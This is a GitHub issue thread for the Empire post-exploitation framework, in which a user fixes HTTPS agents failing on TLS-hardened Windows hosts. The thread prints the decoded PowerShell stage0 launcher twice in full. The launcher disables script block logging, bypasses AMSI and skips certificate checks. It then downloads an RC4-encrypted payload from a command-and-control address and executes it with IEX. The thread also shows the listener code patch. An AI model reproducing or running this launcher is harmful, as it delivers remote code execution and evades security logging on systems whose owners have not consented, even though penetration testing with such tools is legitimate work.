EmpireProject / Empire

Empire is a PowerShell and Python post-exploitation agent.

Home Page:http://www.powershellempire.com/

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

HTTPS Agent not connecting with hardened TLS systems

gryhathack opened this issue · comments

Empire Version

2.5

OS Information (Linux flavor, Python version)

Kali Linux Rolling

Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.

TLS hardening has been completed to match PCI compliance on the networks I am testing against. Once the TLS hardening was implemented I was no longer able to get agents to connect over HTTPS. I have even used an internally trusted and signed cert and still cannot connect.

HTTP agents using non-SSL/TLS connections still launch and connect to the listener with no issue.

I feel like this is based on PowerShell using the default SSL settings for connection and failing. With that being said I am currently looking at the launcher code and how it is generated to try and modify the launcher code to include setting an SSL/TLS level but am having a few issues doing so and was hoping someone else might have more time and knowledge to help tackle this. Below is a copy of the SSL/TLS error I get when launching the agent

Screenshot of error, embedded text output, or Pastebin link to the error

powershell : Exception calling "DownloadData" with "1" argument(s): "The request was aborted: Could not create SSL/TLS secure
At line:1 char:1

  • powershell -noP -sta -enc SQBmACgAJABQAFMAVgBlAHIAUwBpAE8AbgBUAGEAYgB ...
  •   + CategoryInfo          : NotSpecified: (Exception calli...L/TLS secure 
    

:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError

Any additional information

I believe code in the agent launcher like below may be the solution but I would like the options in Empire to choose the TLS version used with the launcher. I am also not sure where in the agent launcher script this code should be placed to execute properly. I believe it needs to be in the beginning but I am testing this now. The best part about this code is it is only set for that current session and not system wide allowing testers to use any SSL/TLS version they ask to use and is supported by the target OS.

[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;

Have a look at #563 (comment). Your issue is maybe related with FISP compliance ?

🌻

Thank you for the advice, unfortunately, issue #563 gave me some good info but I dont believe it is a FIPS item but more built around TLS hardening and some of the PCI hardening we have completed. I keep getting the SSL/TLS error but am able to get the non https agent to run just all https agents never make the full connection. I am running the latest release as well as .NET 4.0 on systems I am attempting to launch the agent on.

If someone knows what is the easiest way to get the launcher code to not be encoded so I can tear apart the code? I have found a way to do it but I would like to natively generate non encoded launcher data. I will find a way but was curious if anyone had a quick down and dirty way to do this as I do not see an option to set it inside of the listener or launcher.

As far as I know, the "easiest" way to debug empire it's to add some print within the source :/ You can also generate non encoded launcher by setting the Base64 flag to False .

(Empire: stager/multi/launcher) > info

Name: Launcher

Description:
  Generates a one-liner stage0 launcher for Empire.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain\]username:password) to use for
                                                 request (default, none, or other).
  Language         True        powershell        Language of the stager to generate.
  Base64           True        False             Switch. Base64 encode the output.
  OutFile          False                         File to output launcher to, otherwise
                                                 displayed on the screen.
[...]

Hope it can help you.

🌻

I fixed it... I am able to get an agent with this code added to the agent launcher:
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;

I used this powershell command to decode the launcher data:
$strs = <encoded launcher data>
$z = [system.text.encoding]::Unicode.GetString([System.convert]::FromBase64String($strs))

Then just check what exists in the $z variable for the decoded code which looks like this:
IF($PSVersioNTaBLe.PSVERsioN.MajOR -GE 3){$GPF=[ref].ASSeMbLY.GeTTYpE('System.Management.Automation.Utils')."GETField"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($GPF){$GPC=$GPF.GeTVALUE($nUlL);IF($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAl=[CoLLECtIONS.GEnerIC.DiCTIONary[StRIng,SysteM.OBjecT]]::NEW();$VAl.ADd('EnableScriptB'+'lockLogging',0);$vaL.Add('EnableScriptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vAL}ELse{[SCRipTBlOck]."GEtFIELd"('signatures','N'+'onPublic,Static').SETVaLue($nuLl,(NEW-OBJeCT ColLectionS.GENeRiC.HAsHSet[stRING]))}[ReF].AsSeMblY.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GETFiEld('amsiInitFailed','NonPublic,Static').SEtVAlue($nULl,$tRue)};};[SYSTem.NEt.SerVIcePoInTMAnAgeR]::ExPEcT100COnTInUE=0;$wc=NeW-ObjeCt SySteM.Net.WEBCliEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.HeADers.AdD('User-Agent',$u);$wc.PRoXY=[SysTem.Net.WebReQUeSt]::DeFaultWeBPrOXY;$wc.PRoXy.CrEdenTiAls = [SysTeM.NEt.CredentialCAChe]::DEfAUlTNetWoRKCReDENtiaLS;$Script:Proxy = $wc.Proxy;$K=[SySteM.TExT.ENcOdiNg]::ASCII.GeTBYTeS('S#c_u%7A4Wsg=|R6/w.?^YnO0r{vmyMF');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BxOR$S[($S[$I]+$S[$H])%256]}};$ser='https://10.210.13.152:8080';$t='/admin/get.php';$wc.HEaders.ADD("Cookie","session=5WlsNsWloESr1X3uqLocXx4PSlE=");$daTa=$WC.DoWNloAdDatA($Ser+$t);$iV=$daTa[0..3];$dAtA=$dATa[4..$dAta.LEnGtH];-JOiN[CHaR[]](& $R $DATa ($IV+$K))|IEX

My fixed worked with me adding the below code just after where the user agent is being set:
[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;

So the code that successfully launches an agent on TLS 1.2 harrdened systems looks like this unencoded:
IF($PSVersioNTaBLe.PSVERsioN.MajOR -GE 3){$GPF=[ref].ASSeMbLY.GeTTYpE('System.Management.Automation.Utils')."GETField"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($GPF){$GPC=$GPF.GeTVALUE($nUlL);IF($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAl=[CoLLECtIONS.GEnerIC.DiCTIONary[StRIng,SysteM.OBjecT]]::NEW();$VAl.ADd('EnableScriptB'+'lockLogging',0);$vaL.Add('EnableScriptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vAL}ELse{[SCRipTBlOck]."GEtFIELd"('signatures','N'+'onPublic,Static').SETVaLue($nuLl,(NEW-OBJeCT ColLectionS.GENeRiC.HAsHSet[stRING]))}[ReF].AsSeMblY.GetTYPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GETFiEld('amsiInitFailed','NonPublic,Static').SEtVAlue($nULl,$tRue)};};[SYSTem.NEt.SerVIcePoInTMAnAgeR]::ExPEcT100COnTInUE=0;$wc=NeW-ObjeCt SySteM.Net.WEBCliEnt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::TLS12;[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.HeADers.AdD('User-Agent',$u);$wc.PRoXY=[SysTem.Net.WebReQUeSt]::DeFaultWeBPrOXY;$wc.PRoXy.CrEdenTiAls = [SysTeM.NEt.CredentialCAChe]::DEfAUlTNetWoRKCReDENtiaLS;$Script:Proxy = $wc.Proxy;$K=[SySteM.TExT.ENcOdiNg]::ASCII.GeTBYTeS('S#c_u%7A4Wsg=|R6/w.?^YnO0r{vmyMF');$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUnT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BxOR$S[($S[$I]+$S[$H])%256]}};$ser='https://10.210.13.152:8080';$t='/admin/get.php';$wc.HEaders.ADD("Cookie","session=5WlsNsWloESr1X3uqLocXx4PSlE=");$daTa=$WC.DoWNloAdDatA($Ser+$t);$iV=$daTa[0..3];$dAtA=$dATa[4..$dAta.LEnGtH];-JOiN[CHaR[]](& $R $DATa ($IV+$K))|IEX

Now I have two options one I just reencode my launcher data and that is the new data or two I find where in the source code I can make my fix and have the launcher auto generate my agents with the TLS in it. The second option is my perferred option but I would like to create a parameter specifying the SSL/TLS security settings of the agents within this code and I will be honest I am not as strong with Python as I am with PowerShell so not sure if I will be able to complete this in a timely fashion.

Wow sorry my markup sucked big time on that comment above. Also this is in a test environment so I am not worried about sharing my code from above as once this is fixed I will be resetting empire and generating a new negotiation key anyways.

I am closing this issue as I have at least a temp fix in place. If anyone else is having issues with HTTPS agents connecting because of TLS hardening on a system the fix I have implemented on my own system is to add code to line 319 of the http.py listener in /Empire/lib/listeners.

The original code:
' if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
'

The code that is now working:
'
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
'